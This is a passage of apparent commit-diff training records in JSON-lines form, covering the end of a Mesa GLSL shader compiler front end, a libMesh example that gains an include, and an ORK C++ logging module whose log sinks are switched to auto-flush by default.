GL_GEOMETRY_SHADER;\n      else if (strncmp(\".frag\", ext, 5) == 0)\n\t shader->Type = GL_FRAGMENT_SHADER;\n      else\n\t usage_fail(argv[0]);\n\n      shader->Source = load_text_file(whole_program, argv[optind]);\n      if (shader->Source == NULL) {\n\t printf(\"File \\\"%s\\\" does not exist.\\n\", argv[optind]);\n\t exit(EXIT_FAILURE);\n      }\n\n      compile_shader(ctx, shader);\n\n      if (!shader->CompileStatus) {\n\t printf(\"Info log for %s:\\n%s\\n\", argv[optind], shader->InfoLog);\n\t status = EXIT_FAILURE;\n\t break;\n      }\n   }\n\n   if ((status == EXIT_SUCCESS) && do_link)  {\n      link_shaders(ctx, whole_program);\n      status = (whole_program->LinkStatus) ? EXIT_SUCCESS : EXIT_FAILURE;\n\n      if (strlen(whole_program->InfoLog) > 0)\n\t printf(\"Info log for linking:\\n%s\\n\", whole_program->InfoLog);\n   }\n\n   for (unsigned i = 0; i < MESA_SHADER_TYPES; i++)\n      ralloc_free(whole_program->_LinkedShaders[i]);\n\n   ralloc_free(whole_program);\n   _mesa_glsl_release_types();\n   _mesa_glsl_release_builtin_functions();\n\n   return status;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* $Id: ex2.C,v 1.18 2005-06-06 17:50:35 jwpeterson Exp $ *\/\n\n\/* The Next Great Finite Element Library. *\/\n\/* Copyright (C) 2003  Benjamin S. Kirk *\/\n\n\/* This library is free software; you can redistribute it and\/or *\/\n\/* modify it under the terms of the GNU Lesser General Public *\/\n\/* License as published by the Free Software Foundation; either *\/\n\/* version 2.1 of the License, or (at your option) any later version. *\/\n\n\/* This library is distributed in the hope that it will be useful, *\/\n\/* but WITHOUT ANY WARRANTY; without even the implied warranty of *\/\n\/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU *\/\n\/* Lesser General Public License for more details. *\/\n\n\/* You should have received a copy of the GNU Lesser General Public *\/\n\/* License along with this library; if not, write to the Free Software *\/\n\/* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n \/\/ <h1>Example 2 - Defining a Simple System<\/h1>\n \/\/\n \/\/ This is the second example program.  It demonstrates how to\n \/\/ create an equation system for a simple scalar system.  This\n \/\/ example will also introduce some of the issues involved with using Petsc\n \/\/ in your application.\n \/\/\n \/\/ This is the first example program that indirectly\n \/\/ uses the Petsc library.  By default equation data is stored\n \/\/ in Petsc vectors, which may span multiple processors.  Before\n \/\/ Petsc is used it must be initialized via libMesh::init().  Note that\n \/\/ by passing argc and argv to Petsc you may specify\n \/\/ command line arguments to Petsc.  For example, you might\n \/\/ try running this example as:\n \/\/\n \/\/ .\/ex2 -log_info\n \/\/\n \/\/ to see what Petsc is doing behind the scenes or\n \/\/\n \/\/ .\/ex2 -log_summary\n \/\/ \n \/\/ to get a summary of what Petsc did.\n \/\/ Among other things, libMesh::init() initializes the MPI\n \/\/ communications library on your system if you haven't already\n \/\/ done so.\n\n\/\/ C++ include files that we need\n#include <iostream>\n\/\/Basic include file needed for the mesh functionality.\n#include \"libmesh.h\"\n#include \"mesh.h\"\n\/\/ Include file that defines various mesh generation utilities\n#include \"mesh_generation.h\"\n\/\/ Include file that defines (possibly multiple) systems of equations.\n#include \"equation_systems.h\"\n\/\/ Include file that defines a simple steady system\n#include \"transient_system.h\"\n\nint main (int argc, char** argv)\n{\n  libMesh::init (argc, argv);\n  \/\/ This set of braces are used to force object scope.  This\n  \/\/ way we can guarantee all our objects are destroyed before calling\n  \/\/ libMesh::close() at the end of the program.\n  {\n    \/\/ A brief message to the user to inform her of the\n    \/\/ exact name of the program being run, and its command line.\n    std::cout << \"Running \" << argv[0];\n    for (int i=1; i<argc; i++)\n      std::cout << \" \" << argv[i];\n    std::cout << std::endl << std::endl;\n    \n    \/\/ Create a 2D mesh.\n    Mesh mesh (2);\n    \n    \/\/ Use the MeshTools::Generation mesh generator to create a uniform\n    \/\/ grid on the unit square.  By default a mesh of QUAD4\n    \/\/ elements will be created.  We instruct the mesh generator\n    \/\/ to build a mesh of 5x5 elements.\n    MeshTools::Generation::build_cube (mesh, 5, 5);\n    \n    \/\/ Print information about the mesh to the screen.\n    mesh.print_info();\n\n    \/\/ Create an equation systems object. This object can\n    \/\/ contain multiple systems of different \n    \/\/ flavors for solving loosely coupled physics.  Each system can \n    \/\/ contain multiple variables of different approximation orders.  \n    \/\/ Here we will simply create a single system with one variable.  \n    \/\/ Later on, other flavors of systems will be introduced.  For the \n    \/\/ moment, we use the general system.\n    \/\/ The EquationSystems object needs a reference to the mesh\n    \/\/ object, so the order of construction here is important.\n    EquationSystems equation_systems (mesh);\n    \n    \/\/ Add a flag \"test\" that is visible for all systems.  This\n    \/\/ helps in inter-system communication.\n    equation_systems.parameters.set<bool> (\"test\") = true;\n      \n    \/\/ Set a simulation-specific parameter visible for all systems.\n    \/\/ This helps in inter-system-communication.\n    equation_systems.parameters.set<Real> (\"dummy\") = 42.;\n      \n    \/\/ Set another simulation-specific parameter \n    equation_systems.parameters.set<Real> (\"nobody\") = 0.;\n    \n    \/\/ Now we declare the system and its variables.\n    \/\/ We begin by adding a \"SteadyStytem\" to the\n    \/\/ EquationSystems object, and we give it the name\n    \/\/ \"Simple System\".\n    equation_systems.add_system<TransientLinearImplicitSystem> (\"Simple System\");\n      \n    \/\/ Adds the variable \"u\" to \"Simple System\".  \"u\"\n    \/\/ will be approximated using first-order approximation.\n    equation_systems.get_system(\"Simple System\").add_variable(\"u\", FIRST);\n      \n    \/\/ Initialize the data structures for the equation system.\n    equation_systems.init();\n      \n    \/\/ Prints information about the system to the screen.\n    equation_systems.print_info();\n\n    \/\/ Write the equation system if the user specified an\n    \/\/ output file name.  Note that there are two possible\n    \/\/ formats to write to.  Specifying libMeshEnums::WRITE will\n    \/\/ create a formatted ASCII file.  Optionally, you can specify\n    \/\/ libMeshEnums::ENCODE and get an XDR-encoded binary file.\n    \/\/\n    \/\/ We will write the data, clear the object, and read the file\n    \/\/ we just wrote.  This is simply to demonstrate capability.\n    \/\/ Note that you might use this in an application to periodically\n    \/\/ dump the state of your simulation.  You can then restart from\n    \/\/ this data later.\n    if (argc == 2)\n      if (argv[1][0] != '-')\n\t{\n\t  std::cout << \"<<< Writing system to file \" << argv[1]\n\t\t    << std::endl;\n\t  \n\t  \/\/ Write the system.\n\t  equation_systems.write (argv[1], libMeshEnums::WRITE);\n\t  \n\t  \/\/ Clear the equation systems data structure.\n\t  equation_systems.clear ();\n\n\t  std::cout << \">>> Reading system from file \" << argv[1]\n\t\t    << std::endl << std::endl;\n\t  \n\t  \/\/ Read the file we just wrote.  This better\n\t  \/\/ work!\n\t  equation_systems.read (argv[1], libMeshEnums::READ);\n\n\t  \/\/ Print the information again.\n\t  equation_systems.print_info();\n\t}\n    \n    \/\/ All our objects will be destroyed at this closing brace.\n    \/\/ That way we can safely call PetscFinalize() and be sure we\n    \/\/ don't have any Petsc-dependent objects lurking around!\n  }\n\n  \/\/ Call libMesh::close(), which in turn finalizes PETSc and\/or\n  \/\/ MPI.\n  return libMesh::close();\n}\n<commit_msg>Add include for linear_implicit_system.h that no longer gets brought in by transient_system.h<commit_after>\/* $Id: ex2.C,v 1.19 2006-03-29 21:00:56 roystgnr Exp $ *\/\n\n\/* The Next Great Finite Element Library. *\/\n\/* Copyright (C) 2003  Benjamin S. Kirk *\/\n\n\/* This library is free software; you can redistribute it and\/or *\/\n\/* modify it under the terms of the GNU Lesser General Public *\/\n\/* License as published by the Free Software Foundation; either *\/\n\/* version 2.1 of the License, or (at your option) any later version. *\/\n\n\/* This library is distributed in the hope that it will be useful, *\/\n\/* but WITHOUT ANY WARRANTY; without even the implied warranty of *\/\n\/* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU *\/\n\/* Lesser General Public License for more details. *\/\n\n\/* You should have received a copy of the GNU Lesser General Public *\/\n\/* License along with this library; if not, write to the Free Software *\/\n\/* Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA *\/\n\n \/\/ <h1>Example 2 - Defining a Simple System<\/h1>\n \/\/\n \/\/ This is the second example program.  It demonstrates how to\n \/\/ create an equation system for a simple scalar system.  This\n \/\/ example will also introduce some of the issues involved with using Petsc\n \/\/ in your application.\n \/\/\n \/\/ This is the first example program that indirectly\n \/\/ uses the Petsc library.  By default equation data is stored\n \/\/ in Petsc vectors, which may span multiple processors.  Before\n \/\/ Petsc is used it must be initialized via libMesh::init().  Note that\n \/\/ by passing argc and argv to Petsc you may specify\n \/\/ command line arguments to Petsc.  For example, you might\n \/\/ try running this example as:\n \/\/\n \/\/ .\/ex2 -log_info\n \/\/\n \/\/ to see what Petsc is doing behind the scenes or\n \/\/\n \/\/ .\/ex2 -log_summary\n \/\/ \n \/\/ to get a summary of what Petsc did.\n \/\/ Among other things, libMesh::init() initializes the MPI\n \/\/ communications library on your system if you haven't already\n \/\/ done so.\n\n\/\/ C++ include files that we need\n#include <iostream>\n\/\/Basic include file needed for the mesh functionality.\n#include \"libmesh.h\"\n#include \"mesh.h\"\n\/\/ Include file that defines various mesh generation utilities\n#include \"mesh_generation.h\"\n\/\/ Include file that defines (possibly multiple) systems of equations.\n#include \"equation_systems.h\"\n\/\/ Include files that define a simple steady system\n#include \"linear_implicit_system.h\"\n#include \"transient_system.h\"\n\nint main (int argc, char** argv)\n{\n  libMesh::init (argc, argv);\n  \/\/ This set of braces are used to force object scope.  This\n  \/\/ way we can guarantee all our objects are destroyed before calling\n  \/\/ libMesh::close() at the end of the program.\n  {\n    \/\/ A brief message to the user to inform her of the\n    \/\/ exact name of the program being run, and its command line.\n    std::cout << \"Running \" << argv[0];\n    for (int i=1; i<argc; i++)\n      std::cout << \" \" << argv[i];\n    std::cout << std::endl << std::endl;\n    \n    \/\/ Create a 2D mesh.\n    Mesh mesh (2);\n    \n    \/\/ Use the MeshTools::Generation mesh generator to create a uniform\n    \/\/ grid on the unit square.  By default a mesh of QUAD4\n    \/\/ elements will be created.  We instruct the mesh generator\n    \/\/ to build a mesh of 5x5 elements.\n    MeshTools::Generation::build_cube (mesh, 5, 5);\n    \n    \/\/ Print information about the mesh to the screen.\n    mesh.print_info();\n\n    \/\/ Create an equation systems object. This object can\n    \/\/ contain multiple systems of different \n    \/\/ flavors for solving loosely coupled physics.  Each system can \n    \/\/ contain multiple variables of different approximation orders.  \n    \/\/ Here we will simply create a single system with one variable.  \n    \/\/ Later on, other flavors of systems will be introduced.  For the \n    \/\/ moment, we use the general system.\n    \/\/ The EquationSystems object needs a reference to the mesh\n    \/\/ object, so the order of construction here is important.\n    EquationSystems equation_systems (mesh);\n    \n    \/\/ Add a flag \"test\" that is visible for all systems.  This\n    \/\/ helps in inter-system communication.\n    equation_systems.parameters.set<bool> (\"test\") = true;\n      \n    \/\/ Set a simulation-specific parameter visible for all systems.\n    \/\/ This helps in inter-system-communication.\n    equation_systems.parameters.set<Real> (\"dummy\") = 42.;\n      \n    \/\/ Set another simulation-specific parameter \n    equation_systems.parameters.set<Real> (\"nobody\") = 0.;\n    \n    \/\/ Now we declare the system and its variables.\n    \/\/ We begin by adding a \"SteadyStytem\" to the\n    \/\/ EquationSystems object, and we give it the name\n    \/\/ \"Simple System\".\n    equation_systems.add_system<TransientLinearImplicitSystem> (\"Simple System\");\n      \n    \/\/ Adds the variable \"u\" to \"Simple System\".  \"u\"\n    \/\/ will be approximated using first-order approximation.\n    equation_systems.get_system(\"Simple System\").add_variable(\"u\", FIRST);\n      \n    \/\/ Initialize the data structures for the equation system.\n    equation_systems.init();\n      \n    \/\/ Prints information about the system to the screen.\n    equation_systems.print_info();\n\n    \/\/ Write the equation system if the user specified an\n    \/\/ output file name.  Note that there are two possible\n    \/\/ formats to write to.  Specifying libMeshEnums::WRITE will\n    \/\/ create a formatted ASCII file.  Optionally, you can specify\n    \/\/ libMeshEnums::ENCODE and get an XDR-encoded binary file.\n    \/\/\n    \/\/ We will write the data, clear the object, and read the file\n    \/\/ we just wrote.  This is simply to demonstrate capability.\n    \/\/ Note that you might use this in an application to periodically\n    \/\/ dump the state of your simulation.  You can then restart from\n    \/\/ this data later.\n    if (argc == 2)\n      if (argv[1][0] != '-')\n\t{\n\t  std::cout << \"<<< Writing system to file \" << argv[1]\n\t\t    << std::endl;\n\t  \n\t  \/\/ Write the system.\n\t  equation_systems.write (argv[1], libMeshEnums::WRITE);\n\t  \n\t  \/\/ Clear the equation systems data structure.\n\t  equation_systems.clear ();\n\n\t  std::cout << \">>> Reading system from file \" << argv[1]\n\t\t    << std::endl << std::endl;\n\t  \n\t  \/\/ Read the file we just wrote.  This better\n\t  \/\/ work!\n\t  equation_systems.read (argv[1], libMeshEnums::READ);\n\n\t  \/\/ Print the information again.\n\t  equation_systems.print_info();\n\t}\n    \n    \/\/ All our objects will be destroyed at this closing brace.\n    \/\/ That way we can safely call PetscFinalize() and be sure we\n    \/\/ don't have any Petsc-dependent objects lurking around!\n  }\n\n  \/\/ Call libMesh::close(), which in turn finalizes PETSc and\/or\n  \/\/ MPI.\n  return libMesh::close();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#include\"ork\/ork.hpp\"\n#define ORK_STL_INC_FILE <fstream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <iostream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <mutex>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <sstream>\n#include\"ork\/core\/stl_include.inl\"\n\n#include\"ork\/memory.hpp\"\n\n\nnamespace ork {\n\n\nconst ork::string debug_trace(ORK(\"debug_trace\"));\nconst ork::string output_data(ORK(\"output_data\"));\n\nconst ork::string&to_string(const log_channel val) {\n\tswitch(val) {\n\tcase log_channel::debug_trace:\n\t\treturn debug_trace;\n\tcase log_channel::output_data:\n\t\treturn output_data;\n\t};\n\tORK_UNREACHABLE\n}\nlog_channel string2log_channel(const ork::string&str) {\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tORK_THROW(ORK(\"Invalid log_channel: \") << str);\n}\n\n\nconst ork::string trace(ORK(\"trace\"));\nconst ork::string debug(ORK(\"debug\"));\nconst ork::string info(ORK(\"info\"));\nconst ork::string warning(ORK(\"warning\"));\nconst ork::string error(ORK(\"error\"));\nconst ork::string fatal(ORK(\"fatal\"));\n\nconst ork::string&to_string(const severity_level val) {\n\tswitch(val) {\n\tcase severity_level::trace:\n\t\treturn trace;\n\tcase severity_level::debug:\n\t\treturn debug;\n\tcase severity_level::info:\n\t\treturn info;\n\tcase severity_level::warning:\n\t\treturn warning;\n\tcase severity_level::error:\n\t\treturn error;\n\tcase severity_level::fatal:\n\t\treturn fatal;\n\t};\n\tORK_UNREACHABLE\n}\nseverity_level string2severity_level(const ork::string&str) {\n\tif(str == trace) {\n\t\treturn severity_level::trace;\n\t}\n\tif(str == debug) {\n\t\treturn severity_level::debug;\n\t}\n\tif(str == info) {\n\t\treturn severity_level::info;\n\t}\n\tif(str == warning) {\n\t\treturn severity_level::warning;\n\t}\n\tif(str == error) {\n\t\treturn severity_level::error;\n\t}\n\tif(str == fatal) {\n\t\treturn severity_level::fatal;\n\t}\n\tORK_THROW(ORK(\"Invalid severity_level: \") << str);\n}\n\n\n\/\/This is little more than a synchronous wrapper around an o_stream\nclass log_stream {\npublic:\n\tusing stream_ptr = std::shared_ptr<o_stream>;\nprivate:\n\tstream_ptr _stream;\n\tstd::mutex _mutex;\npublic:\n\texplicit log_stream(stream_ptr stream_) : _stream{stream_}, _mutex{} {}\n\tORK_NON_COPYABLE(log_stream)\npublic:\n\tvoid log(const string&message) {\n\t\tstd::lock_guard<std::mutex>lock(_mutex);\n\t\t*_stream << message;\n\t}\n\tvoid flush() {\n\t\t_stream->flush();\n\t}\n};\n\n\nclass log_sink {\npublic:\n\tusing stream_ptr = std::shared_ptr<log_stream>;\nprivate:\n\tstd::vector<stream_ptr>_streams = {};\n\tbool _auto_flush = false;\npublic:\n\tlog_sink() {}\n\tlog_sink(const bool auto_flush) : _auto_flush{auto_flush} {}\npublic:\n\tvoid insert(const stream_ptr&ptr) {\n\t\t_streams.push_back(ptr);\n\t}\n\tvoid log(const string&message) {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->log(message);\n\t\t\tif(_auto_flush) {\n\t\t\t\tstream->flush();\n\t\t\t}\n\t\t}\n\t}\n\tvoid set_auto_flush(const bool auto_flush) {\n\t\t_auto_flush = auto_flush;\n\t}\n\tvoid flush() {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->flush();\n\t\t}\n\t}\n};\n\n\nstd::shared_ptr<log_stream>open_file_log_stream(const file::path&file_name) {\n\tif(!file::ensure_directory(file_name)) {\n\t\tORK_THROW(ORK(\"Could not create directory : \") << file_name.ORK_GEN_STR())\n\t}\n\tof_stream* p_stream = new of_stream();\n\tp_stream->open(file_name);\/\/std::ios::app | std::ios::ate\n\tif(p_stream->fail()) {\n\t\tORK_THROW(ORK(\"Error opening log : \") << file_name)\n\t}\n\t\/\/p_stream->rdbuf()->pubsetbuf(0, 0);\/\/Less performance, more likely to catch error messages\n\treturn std::shared_ptr<log_stream>(new log_stream(log_stream::stream_ptr(p_stream)));\n}\n\n\n\/\/This is where our logging system falls short of a generic filter system; try to hide it somewhat in one place\nclass log_multiplexer {\nprivate:\n\tstd::array<log_sink, severity_levels.size()>_severity_sinks = {};\n\tlog_sink _data_sink = {};\npublic:\n\tlog_multiplexer(const file::path&root_directory){\n\t\tauto lout = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CLOG, singleton_deleter<o_stream>()}}};\n\t\tauto lerr = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CERR, singleton_deleter<o_stream>()}}};\n\t\tauto flog = open_file_log_stream(root_directory \/ ORK(\"trace.log\"));\n\t\tauto fdata = open_file_log_stream(root_directory \/ ORK(\"output.log\"));\n\n\t\tfor(const auto sv : severity_levels) {\n\t\t\tauto sink = _severity_sinks[static_cast<size_t>(sv)];\n\t\t\tif(sv < severity_level::error) {\n\t\t\t\tsink.insert(lout);\n\t\t\t\tsink.set_auto_flush(true);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsink.insert(lerr);\n\t\t\t}\n\t\t\tsink.insert(flog);\n\t\t}\n\t\t_data_sink.insert(lout);\n\t\t_data_sink.insert(fdata);\n\t}\npublic:\n\tvoid log(const log_channel channel, const severity_level severity, const o_string_stream&stream) {\n\t\tconst string message = stream.str();\n\t\tswitch(channel) {\n\t\tcase log_channel::debug_trace:\n\t\t\tlog_severity(severity, message);\n\t\t\tbreak;\n\t\tcase log_channel::output_data:\n\t\t\t_data_sink.log(stream.str());\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tORK_UNREACHABLE\n\t\t};\n\t}\n\tvoid flush_all() {\n\t\tfor(auto&sink : _severity_sinks) {\n\t\t\tsink.flush();\n\t\t}\n\t\t_data_sink.flush();\n\t}\nprivate:\n\tvoid log_severity(const severity_level severity, const string&message) {\n\t\tconst bool do_it = ORK_DEBUG || severity > severity_level::debug;\n\t\tif(do_it) {\/\/To avoid constant conditional expression\n\t\t\t_severity_sinks[static_cast<size_t>(severity)].log(message);\n\t\t}\n\t}\n};\n\n\nstruct log_scope::impl {\npublic:\n\tstd::shared_ptr<log_multiplexer>multiplexer;\n\tlog_channel channel;\n\tseverity_level severity;\n\to_string_stream stream;\npublic:\n\timpl(std::shared_ptr<log_multiplexer>&mp, const log_channel lc, const severity_level sv)\n\t\t: multiplexer{mp}\n\t\t, channel{lc}\n\t\t, severity{sv}\n\t\t, stream{}\n\t{}\n\t~impl() {\n\t\tmultiplexer->log(channel, severity, stream);\n\t}\n\tORK_MOVE_ONLY(impl)\n};\n\nlog_scope::log_scope(std::unique_ptr<impl>&&ptr) : _pimpl{ std::move(ptr) } {}\nlog_scope::~log_scope() {}\n\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << val;\\\n\treturn *this;\\\n}\nLOG_STREAM_OPERATOR(bool)\nLOG_STREAM_OPERATOR(short)\nLOG_STREAM_OPERATOR(unsigned short)\nLOG_STREAM_OPERATOR(int)\nLOG_STREAM_OPERATOR(unsigned)\nLOG_STREAM_OPERATOR(long)\nLOG_STREAM_OPERATOR(unsigned long)\nLOG_STREAM_OPERATOR(long long)\nLOG_STREAM_OPERATOR(unsigned long long)\nLOG_STREAM_OPERATOR(float)\nLOG_STREAM_OPERATOR(double)\nLOG_STREAM_OPERATOR(long double)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_BYTE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(char)\nLOG_STREAM_OPERATOR(char*)\nLOG_STREAM_OPERATOR(bstring&)\n\n#undef LOG_STREAM_OPERATOR\n#define LOG_STREAM_OPERATOR(TYPE) \\\nlog_scope& log_scope::operator<< (const TYPE val) {\\\n\t_pimpl->stream << ORK_WIDE_2_STR(val);\\\n\treturn *this;\\\n}\n\nLOG_STREAM_OPERATOR(wchar_t)\nLOG_STREAM_OPERATOR(wchar_t*)\nLOG_STREAM_OPERATOR(wstring&)\n\nlog_scope& log_scope::operator<< (const void* val) {\n\t_pimpl->stream << val;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (const std::streambuf* sb) {\n\t_pimpl->stream << sb;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ostream& (*pf)(std::ostream&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios& (*pf)(std::ios&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\nlog_scope& log_scope::operator<< (std::ios_base& (*pf)(std::ios_base&)) {\n\t_pimpl->stream << pf;\n\treturn *this;\n}\n\n\nconst string&to_formatted_string(const severity_level sv) {\n\tstatic const std::array<const string, severity_levels.size()>strings = {{\n\t\t  ORK(\"TRACE\")\n\t\t, ORK(\"DEBUG\")\n\t\t, ORK(\"INFO \")\n\t\t, ORK(\"WARN \")\n\t\t, ORK(\"ERROR\")\n\t\t, ORK(\"FATAL\")\n\t}};\n\treturn strings[static_cast<size_t>(sv)];\n}\n\n\nstruct logger::impl {\npublic:\n\tfile::path root_directory;\n\tstd::shared_ptr<log_multiplexer>multiplexer;\npublic:\n\timpl(const file::path&directory)\n\t\t: root_directory(directory)\n\t\t, multiplexer{new log_multiplexer(directory)}\n\t{}\n\tvoid flush_all() {\n\t\tmultiplexer->flush_all();\n\t}\n};\n\n\nlogger::logger(const file::path&log_directory) : _pimpl(new impl(log_directory)) {}\nlogger::~logger() {}\n\nconst file::path& logger::root_directory() {\n\treturn _pimpl->root_directory;\n}\n\nlog_scope logger::get_log_scope(\n\t  const string&file_\n\t, const string&line_\n\t, const string&function_\n\t, const log_channel channel\n\t, const severity_level severity)\n{\n\tconst file::path fullpath(file_);\n\tstring file(fullpath.filename().ORK_GEN_STR());\n\tfile.resize(28, ORK(' '));\n\n\tstring line(line_);\n\tline.resize(4, ORK(' '));\n\n\tstring function(function_);\n\tfunction.resize(40, ORK(' '));\n\n\tstd::unique_ptr<log_scope::impl> ls_impl(new log_scope::impl(_pimpl->multiplexer, channel, severity));\n\tlog_scope scope(std::move(ls_impl));\n\t\/\/Output formatted context first\n\tscope << ORK(\"[\") << to_formatted_string(severity) << ORK(\"]:\") << file << ORK(\"(\") << line << ORK(\"):\") << function << ORK(\"-- \");\n\n\t\/\/Finally, return the stream to the client\n\treturn std::move(scope);\n}\n\nvoid logger::flush_all() {\n\t_pimpl->flush_all();\n}\n\n\n\nlogger*_g_log = nullptr;\nint make_global_log(const string&directory) {\n\tstatic logger log(directory);\n\t_g_log = &log;\n\treturn 0;\n}\nlogger& get_global_log() {\n\treturn *_g_log;\n}\n\n\n}\/\/namespace ork\n<commit_msg>Log now auto flushes<commit_after>\/*\nThis file is part of the ORK library.\nFull copyright and license terms can be found in the LICENSE.txt file.\n*\/\n#include\"ork\/ork.hpp\"\n#define ORK_STL_INC_FILE <fstream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <iostream>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <mutex>\n#include\"ork\/core\/stl_include.inl\"\n#define ORK_STL_INC_FILE <sstream>\n#include\"ork\/core\/stl_include.inl\"\n\n#include\"ork\/memory.hpp\"\n\n\nnamespace ork {\n\n\nconst ork::string debug_trace(ORK(\"debug_trace\"));\nconst ork::string output_data(ORK(\"output_data\"));\n\nconst ork::string&to_string(const log_channel val) {\n\tswitch(val) {\n\tcase log_channel::debug_trace:\n\t\treturn debug_trace;\n\tcase log_channel::output_data:\n\t\treturn output_data;\n\t};\n\tORK_UNREACHABLE\n}\nlog_channel string2log_channel(const ork::string&str) {\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tif(str == output_data) {\n\t\treturn log_channel::output_data;\n\t}\n\tORK_THROW(ORK(\"Invalid log_channel: \") << str);\n}\n\n\nconst ork::string trace(ORK(\"trace\"));\nconst ork::string debug(ORK(\"debug\"));\nconst ork::string info(ORK(\"info\"));\nconst ork::string warning(ORK(\"warning\"));\nconst ork::string error(ORK(\"error\"));\nconst ork::string fatal(ORK(\"fatal\"));\n\nconst ork::string&to_string(const severity_level val) {\n\tswitch(val) {\n\tcase severity_level::trace:\n\t\treturn trace;\n\tcase severity_level::debug:\n\t\treturn debug;\n\tcase severity_level::info:\n\t\treturn info;\n\tcase severity_level::warning:\n\t\treturn warning;\n\tcase severity_level::error:\n\t\treturn error;\n\tcase severity_level::fatal:\n\t\treturn fatal;\n\t};\n\tORK_UNREACHABLE\n}\nseverity_level string2severity_level(const ork::string&str) {\n\tif(str == trace) {\n\t\treturn severity_level::trace;\n\t}\n\tif(str == debug) {\n\t\treturn severity_level::debug;\n\t}\n\tif(str == info) {\n\t\treturn severity_level::info;\n\t}\n\tif(str == warning) {\n\t\treturn severity_level::warning;\n\t}\n\tif(str == error) {\n\t\treturn severity_level::error;\n\t}\n\tif(str == fatal) {\n\t\treturn severity_level::fatal;\n\t}\n\tORK_THROW(ORK(\"Invalid severity_level: \") << str);\n}\n\n\n\/\/This is little more than a synchronous wrapper around an o_stream\nclass log_stream {\npublic:\n\tusing stream_ptr = std::shared_ptr<o_stream>;\nprivate:\n\tstream_ptr _stream;\n\tstd::mutex _mutex;\npublic:\n\texplicit log_stream(stream_ptr stream_) : _stream{stream_}, _mutex{} {}\n\tORK_NON_COPYABLE(log_stream)\npublic:\n\tvoid log(const string&message) {\n\t\tstd::lock_guard<std::mutex>lock(_mutex);\n\t\t*_stream << message;\n\t}\n\tvoid flush() {\n\t\t_stream->flush();\n\t}\n};\n\n\nclass log_sink {\npublic:\n\tusing stream_ptr = std::shared_ptr<log_stream>;\nprivate:\n\tstd::vector<stream_ptr>_streams = {};\n\tbool _auto_flush = true;\npublic:\n\tlog_sink() {}\n\tlog_sink(const bool auto_flush) : _auto_flush{auto_flush} {}\npublic:\n\tvoid insert(const stream_ptr&ptr) {\n\t\t_streams.push_back(ptr);\n\t}\n\tvoid log(const string&message) {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->log(message);\n\t\t\tif(_auto_flush) {\n\t\t\t\tstream->flush();\n\t\t\t}\n\t\t}\n\t}\n\tvoid set_auto_flush(const bool auto_flush) {\n\t\t_auto_flush = auto_flush;\n\t}\n\tvoid flush() {\n\t\tfor(auto&stream : _streams) {\n\t\t\tstream->flush();\n\t\t}\n\t}\n};\n\n\nstd::shared_ptr<log_stream>open_file_log_stream(const file::path&file_name) {\n\tif(!file::ensure_directory(file_name)) {\n\t\tORK_THROW(ORK(\"Could not create directory : \") << file_name.ORK_GEN_STR())\n\t}\n\tof_stream* p_stream = new of_stream();\n\tp_stream->open(file_name);\/\/std::ios::app | std::ios::ate\n\tif(p_stream->fail()) {\n\t\tORK_THROW(ORK(\"Error opening log : \") << file_name)\n\t}\n\t\/\/p_stream->rdbuf()->pubsetbuf(0, 0);\/\/Less performance, more likely to catch error messages\n\treturn std::shared_ptr<log_stream>(new log_stream(log_stream::stream_ptr(p_stream)));\n}\n\n\n\/\/This is where our logging system falls short of a generic filter system; try to hide it somewhat in one place\nclass log_multiplexer {\nprivate:\n\tstd::array<log_sink, severity_levels.size()>_severity_sinks = {};\n\tlog_sink _data_sink = {};\npublic:\n\tlog_multiplexer(const file::path&root_directory){\n\t\tauto lout = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CLOG, singleton_deleter<o_stream>()}}};\n\t\tauto lerr = log_sink::stream_ptr{new log_stream{log_stream::stream_ptr{&ORK_CERR, singleton_deleter<o_stream>()}}};\n\t\tauto flog = open_file_log_stream(root_directory \/ ORK(\"trace.log\"));\n\t\tauto fdata = open_file_log_stream(root_directory \/ ORK(\"output.log\"));\n\n\t\tfor(const auto sv : severity_levels) {\n\t\t\tauto sink = _severity_sinks[static_cast<size_t>(sv)];\n\t\t\tif(sv < severity_level::error) {\n\t\t\t\tsink.insert(lout);\n\t\t\t\tsink.set_auto_flush(true);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tsink.insert(lerr);\n\t\t\t}\n\t\t\tsink.insert(flog);\n\t\t}\n\t\t_data_sink.insert(lout);\n\t\t_data_sink.insert(fdata);\n\t}\npublic:\n\tvoid log(const log_channel channel, const severity_level 